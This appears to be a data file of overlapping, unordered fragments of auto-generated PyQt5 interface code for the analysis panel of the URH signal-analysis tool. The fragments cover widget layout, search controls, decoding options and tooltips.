"sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents)",
"QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set",
"self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4)",
"15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal",
"\"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message",
"self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40,",
"self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3)",
"\"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\"))",
"self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0))",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False)",
"self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 =",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215,",
"self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False)",
"self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon =",
"QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1,",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter =",
"sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1,",
"self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown,",
"QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\")",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\")",
"\"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\"))",
"self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash",
"1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True)",
"AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\"))",
"= ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames,",
"self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors)",
"16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent =",
"1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime =",
"self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True)",
"self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4)",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy",
"self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24)",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection =",
"qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False)",
"class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\")",
"= QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3)",
"1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy)",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText",
"for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\"))",
"begins. Additionally the relative time (+ ...) from the previous message is shown.</p></body></html>\"))",
"QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar)",
"self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame)",
"self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"= QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI =",
"self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2,",
"self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True)",
"self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames =",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment:",
"self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame)",
"\"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\",",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues =",
"_translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors",
"the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\"",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1,",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215,",
"current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates",
"self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised)",
"QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch,",
"self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2",
"= QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0,",
"icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis)",
"= QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer =",
"\"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\",",
"self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0,",
